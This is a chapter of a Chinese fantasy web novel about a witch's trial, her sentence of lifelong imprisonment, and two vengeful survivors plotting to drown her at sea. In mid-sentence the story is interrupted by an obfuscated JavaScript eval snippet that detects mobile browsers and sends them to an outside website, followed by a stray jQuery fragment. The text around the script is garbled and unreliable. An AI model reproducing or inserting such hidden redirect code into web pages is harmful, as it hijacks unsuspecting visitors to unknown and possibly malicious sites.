“咚——”
紫檀法杖重重敲在地上,执杖老者目光如炬:“巫师灵汐,你残杀雾隐岛风氏一门七名巫师、幽瞳湾三十二名巫师,招引地火致祁达山数百人族生灵涂炭!这桩桩件件,你——可有异议?可——认罪伏法?”
“都是我干的。”
灵汐旁若无人地翘着脚,轻轻晃动,腕上镣铐发出轻微的金属摩擦声。
“戕害同族!滥用巫术屠戮凡人!皆为!”巫咸一杖定音——
“死罪!”
灵山上空乌云滚滚遮天蔽日,时不时见几道银蛇闪电穿梭其中。
山间狂风呼啸,漫山植被随风狂舞哗啦作响,翻起一层层绿色涌浪。
天音殿方圆一里内却一片寂静,花草树木纹丝不动宛在画中,一道看不见的屏障隔绝了外围喧嚣。
屏障内是万籁俱寂,无风无雨。
巫者,侍神之人,掌自然灵力。
曾作为神使在人间行沟通人神、传递神谕之责,与人族共生共息数千年。
灵山十巫,巫者之首,对大荒各方巫师有监督审判之权。
.
灵山之上,天音殿内,灯火通明,人头攒动。
十巫列座于殿上高台,每人持一流光溢彩的宝石法器,传说那各色宝石都是娲皇补天遗留的碎片。
十巫之下,各部落大祭司带着长老精英们肃穆而立,造型各异。
或披着绣有展翅啼天的三足金乌的翼状斗篷,或头戴鹿角藤蔓之冠,或胸前缀着青铜月轮……
那都是各部落的代表图腾。
十巫与众人围成一个完美的圆形,将灵汐围困在大殿中央。
在这令人窒息的威压中心,灵汐用手指拨了拨略显凌乱的红棕头发,又掸了掸白裙上的尘污。
然而,一枝荆棘从身后椅子上伸出,刺了灵汐后背一下。
“嗷!”灵汐回头瞪了一眼这刻薄的椅子。
这椅子表面上看是由枯树枝干虬结盘绕而成,椅背上有两条藤枝向前延伸绞在一起,虚虚环在灵汐身前。
灵汐回头正视十巫:“你们知道为什么我明知是死罪,却还要来灵山认罪吗?”
“何等狂妄!明明是被我等发现身份捉拿归案,什么叫你来认罪!”殿下一年轻巫觋愤然道。
“何等狂妄!”灵汐像是听到了什么天大的笑话,嗤笑出声,“若不是我想上灵山,就你们几个小废物,再来八百个也只有送死的份儿。”
话音还没落地,就引来殿下哗然一片——
“实在是太嚣张了!”
“这魔头不除,实乃天下大患啊!”
……
“诶呀,”殿上十巫之一——巫姑把玩着亮晶晶的手串,出声打断了一片嘈杂,“这倒是实话。据她供述,六年前她便可以召动地火,那至少得是无忧境。你们几个的等阶,还真不是她的对手。”
众巫哑然,巫咸倒是一片泰然照常推进:“那你说说为什么来认罪。”
灵汐道:“我修炼进境愈高,有种感觉便愈强烈……”
“该不会是要说自己突然良心发现、忏悔罪过了吧!”
不久前作为证人指认灵汐的风氏家主,也是雾隐岛现任大祭司风意面露嘲讽,怒目切齿道:“杀人偿命天经地义!你残害无辜,我必让你血债血偿!”
风意站起身朝殿上十巫行了一礼:“大人们,切不可听信她的花言巧语!她若说忏悔,必定是为了逃脱罪责当众做戏!”
风意身后的三个年轻巫觋也随之起身行礼,异口同声:“十巫在上,请务必严惩凶犯!”
巫咸抬手示意几人坐下:“请放心,十巫定会公正裁决。”
随后手掌一翻转了个方向,示意灵汐继续说下去。
“我越发领悟到自己与整个巫族命运相连、休戚与共……今日殿上诸位,皆为巫族精英拔萃之材,想必大家都知道那个预言吧!”
灵汐身体前倾,双手搭在身前藤枝上,手上镣铐重量稍有缓解:“神族陨落,巫族气运也随之殆尽,往后便是江河日下,日暮途穷。”
“净是些无稽之谈!”
“别在这儿危言耸听!”
“这和你的罪行有什么关系?”
“……”
“咚、咚——”巫咸不得不敲了两下法杖,才让众人安静下来。
“我这些年游走大荒各地,见过了太多巫族部落,难以置信现在竟连抚生境巫师都已算极少数拔尖的,联想到这个预言,实在令人惊心……”
灵汐蹙起的眉头、眼中闪动的愁绪,都恰到好处地流露出担忧之色。
然而她抬眼间神色一转:“不过,见的多了,我就知道我族为何日渐衰落了——你们,全都,不、会、修、炼!各个缘木求鱼,自然徒劳无功!”
如冷水入热油,众人噼里啪啦爆发一片气急败坏之声,巫咸不得不连敲三下法杖才压下聒噪。
“不过,我有办法,”灵汐一脸真诚,“你们都知道我的身世了,我是个孤儿,自小被无尽夏岛的巫师司月抚养长大。我师尊司月早已步入无忧境多年,我在六年前也进入无忧境。这不是什么天赋异禀,都是我师尊教导有方!”
灵汐扫视了一圈安静下来的众人继续道:“据说我还曾有师祖是天示境巫师呢!本门之所以能出这么多高阶巫师,应该多亏了代代相传的修习秘法……”
一抹善意满满的笑容绽开在灵汐脸上,“我愿意将师门的独门秘法分享给大家,只希望我族能扭转颓势,蒸蒸日上,重回鼎盛之日。”
众人你看我、我看你地安静下来,虽说心思各异,但无人不对通往高阶的修炼秘法心向往之。
巫师等级通常分为八阶——识灵、闻术、听卜、噬骨、抚生、意动、无忧、天示。
等阶越高,与前一境界的力量差距越大。
神族陨落后,巫族逐渐衰落,现如今高阶巫师凤毛麟角,就连现任十巫中也仅有两位无忧境。
如果真有能提升境界的修炼秘法,没有哪个巫师会不动心。
诡异的沉默被一尖锐女声打破:“不要相信她!什么狗屁秘法!她是在蛊惑大家,妄想博得一线生机!此人罄竹难书,断不可留!绝不可信啊!”
一身着绯衣、眉心纹有红色水波纹的巫师冲出人群高声呐喊、目眦欲裂。
正是幽瞳湾巫师的幸存者缇娅,那红色额纹是幽瞳湾巫师特有的族群图腾。
和雾隐岛大祭司风意一样,缇娅也是作为证人来灵山指证凶手的。
灵汐垂目,眼中滑过一瞬狡黠的精光,但被落下的上睑掩饰得很好,并无人察觉。
“没错,这魔头诡计多端!数年前她还是个小小少年,就曾用假死之术骗过我族,诸位莫要上了她的当!”风意紧随其后怒斥道。
“正如风意大祭司所说,”灵汐锐利的目光直射风意,“我多年前就已金蝉脱壳改名换姓,我的死讯应该早就报给雾隐岛和灵山了吧,世上再无人知晓我还活着……”
风意眼皮一跳心道不好,但灵汐没给她插嘴的机会:“如果我不是真心为了巫族分享修炼之法,我为什么要来灵山自爆身份,将自己推向死罪呢?我为什么不继续隐姓埋名过我的逍遥日子呢?”
“休要再妖言惑众!”像一头暴怒的狮子冲向入侵领地的死敌,缇娅抓住灵汐的衣领,一把将她从树椅中拔起。
树椅以为受审者要离开,霎时爆出无数枝条将灵汐牢牢缚回椅中。
缇娅不得不俯身低头,死死瞪着灵汐:“你害死我半数族人,我族大祭司、长老、高阶巫师全部死于你手,我不会放过你的!今天不是你死就是我亡!”
人群中有三两巫师赶上前来,边说着“十巫在上,不得无礼”边将情绪激动的缇娅拉回殿下。
缇娅频频回首,对着灵汐张牙舞爪咒骂不断,殿上众人也纷纷躁动起来。
“既然你要分享秘法,那就先把秘法交出来,待我们验证后再决定你能否将功补过!”
灵汐听了颇觉可笑:“你们以为修炼是一朝一夕的事吗?想验证秘法,那等三年五载后再开下半场审议会吧!”
眼看着众人即将为如何处置灵汐吵起来,巫咸不得不挥杖下令先将灵汐送回水牢。
随着一阵低沉的轰轰声响,灵汐所在的六尺圆台缓缓沉降到地板之下。
八瓣扇形厚石板在灵汐头顶围拢,隔绝了大殿上的唇枪舌战,唯一的凶犯倒是落了个清净。
圆台继续下沉,一直降到地下一池三丈见方的水潭中央。
四周池水泛着荧荧蓝光,那是一种带有奇毒的藻类,只需皮肤接触便能要人性命。
灵汐身后的树椅逐渐变形,向上生长丈余,无数枝条缠绕编织出同圆台大小相同的圆顶,又从四面八方向下垂落,牢牢扒在圆台边缘,形成一圈牢笼,将她困于其中。
.
不知过了多久,水牢外廊上一道规律的“咚咚”声由远及近,随即传来隐约人声:
“真不用我扶着您啊?”
“我老太婆倒也没老到那份儿上!”
“那我单纯来看热闹不合适吧?”
“你是来做见证的……”
一阵窸窸窣窣之后,两道脚步伴着玎当声响来到灵汐跟前。
灵汐睁开眼睛,只见不知从哪儿冒出来一座两人宽的藤蔓小桥飞过水面,巫咸和巫姑两人已顺着小桥来到树笼前。
巫咸离开了高高在上的十巫首座,看起来竟慈眉善目了许多。
虽然脸上皱纹已颇显老态,但腰杆直挺步履坚实,精神矍铄得很。
满头银丝齐整地向后梳成发髻,一身靛蓝长袍半新不旧,全身首饰仅有头上一根朴素木簪,唯有手中一把镶嵌水色明珠的紫檀法杖昭示着她绝不是寻常媪妪的身份。
巫姑则是青年女子的模样,胸前挂着一剔透紫水玉的星轨吊坠,一身紫衣,步履轻盈。
她从头到脚挂满了珠串银饰小铃铛,走起路来叮叮当当的,十分热闹,笑吟吟的表情自审议会开始就从未变过。
“巫咸大人、巫姑大人,看来大家已经商量好如何处置我了。”
巫咸缓缓开口:“灵汐,你杀孽深重,本是死路一条,但念在你有心倾囊相助、于我族大有裨益,十巫决定对你网开一面。不过死罪可免,活罪难逃。十巫决议判处你终生监禁,往后余生再无自由。希望你静思己过,将功赎罪。”
巫咸顿了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305743|182826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
顿,又补充道:“为免其他部落为秘法徇私,雾隐岛大祭司风意将作为监管人,带你回雾隐岛监禁。”
灵山虽是十巫集会所在地,但平时只用作举办事神大祭、审议重大事项和培养十巫候选人,被判监禁的犯错巫师通常会被各个部落带回执刑。
灵汐脸上甚是平静,“好,我接受,”随即又笑出声来,“我好像也没有拒绝的权利吧。”
.
与此同时,雾隐岛一行人到达灵山安排的客舍堂屋。
十巫宣布判决结果时,风意用尽了所有理智维持体面,才不至于当众失态。
现下回到客舍,即使还有小辈在旁,她也忍不住将桌上杯盏一扫而空,整个人仿佛被怒气煮沸,扶着桌子大口呼吸,口中念叨着“监禁?监禁?!一个个的都是利欲熏心,闻到肉味就丧了良心的猪狗!”
三个小辈既慑于风意的怒气,也不敢忤逆十巫,只能在一旁挤作一团,努力降低自己的存在感。
正在三人战战兢兢不知如何是好时,门框被敲响,打破了屋内冷滞的气氛。
火红人影走入屋内,是面若寒霜的缇娅。
她已不见方才在大殿上的疯狂模样,但眼中仍燃着仇恨的火焰,开口便是:“想不想杀了她?”
一旁小辈惊得连呼吸都停了,风意却逐渐平静下来:“什么?”
缇娅一步步走近:“没记错的话,你的独子、你的丈夫都是她杀的,别和我说你不想让她偿命。”
“哦?你不怕十巫追究吗?”
“她杀了我半数族人,我是一定要杀她的。如果你也想,我们可以合作。”
“怎么合作?”
缇娅狠厉一笑:“你既然在会上力争押她回雾隐岛监禁,想必早就有想法了吧?我可助你一臂之力!要我说,此去雾隐岛,海上风急浪高,多有意外。”
“路上就动手,这么急吗?”
“夜长梦多,她要是平安到达雾隐岛却死在监禁期间,你不是更难辞其咎吗?”
风意盯着眼前年纪轻得可以当自己女儿的巫师,她的灵魂已被仇恨吞噬,单薄得似乎一眼便能洞穿,不多时风意便牵动了嘴角。
“自从我族遭难,我已追踪她多年。我还真有一条有用的消息——她,非常怕水。据说是幼时被父母抛弃在海上,险些淹死……”缇娅提议道。
风意蹙起眉来:“消息可靠吗?”
一旁端茶倒水的巫觋终于有机会开口:“大祭司,我以前和那灵汐一同上学,那时候她确实从不参与任何下水的活动!”
另两个小辈也附和道:“对啊,咱们那儿可是海岛,很多水上活动,但她好像次次都告假!”
“是啊是啊,我也记得!”
缇娅见状顺势接道:“不想承担违逆十巫的罪名,最好让她死于意外。押送全程她都会被锁住巫力,和凡人无异,这时候要是不幸遇上海难沉船……”
“她死了,十巫无论如何都会找我问责。但是海上意外……也算是最好推责的由头了……”风意盯着桌上火烛,眉头逐渐展开。
缇娅则继续煽风点火:“你带着这些个小辈,得护着他们,无暇救仇人很正常吧!”
烛火摇曳中,风意的目光逐渐坚定:“无论如何我都有监管不力之责,但只要能让她死,受点罚又如何?”
.
次日,灵汐跟着雾隐岛一行人离开灵山,沿黑水而下第二天就入了海。
海上全程有巫师施术召风,顺风而行,大概半月便能到达雾隐岛。
七日后,船只行至茫茫大海中央。
灵汐被安排在尾舱,舱内满是画地为牢的结界,使其不得离开这一方舱室。
双手也被封灵锁锁住,无法施展任何巫术。
灵汐这几天却睡得出奇的好,在海上摇摇晃晃的船只仿若摇篮,让人不知不觉就生出困意。
但灵汐知道自己不会到达雾隐岛了,有人选了这波澜壮阔的海洋作为她的坟墓。
因为她在船上见到了缇娅,那个幽瞳湾部落的幸存者,本不该出现在雾隐岛的回程船只上。
夜色正浓,原本急速航行的船只突然失去动力,开始顺着洋流随意飘摇。
灵汐坐在船舱中静静听着海浪拍打船壳的声音,呼吸间能感到水汽洇湿双肺的清凉。
少顷,灵汐突觉胸口微微发烫,抬手便从胸口处掏出一个两寸长的细长条。
那是由染白的纱衣草叶片折成的小包裹。
纱衣草生有宽大柔软的掌型叶片,可以折叠成各种形状而不致破损。因此常常被巫师用来装东西。
灵汐手中这个,明显被施了缩小咒,才变得如此小巧隐蔽。
那细长的一小条在灵汐手中以肉眼可见的速度长到一掌有余。
灵汐将其打开,里面是一只做工精致的人形木偶,衣裙发色与灵汐相近,一条扁扁的干燥虫体,三张画着血红阵法的天蚕丝帛,还有三根细细长长又形态各异的铁制工具。
灵汐上灵山请罪被收押时,就已被灵山巫师搜遍全身、没收所有携带物了,这当然不是她自己藏下的。
这个小小的纱衣草包裹,是缇娅在审议会上揪她衣领时,偷偷放进去的。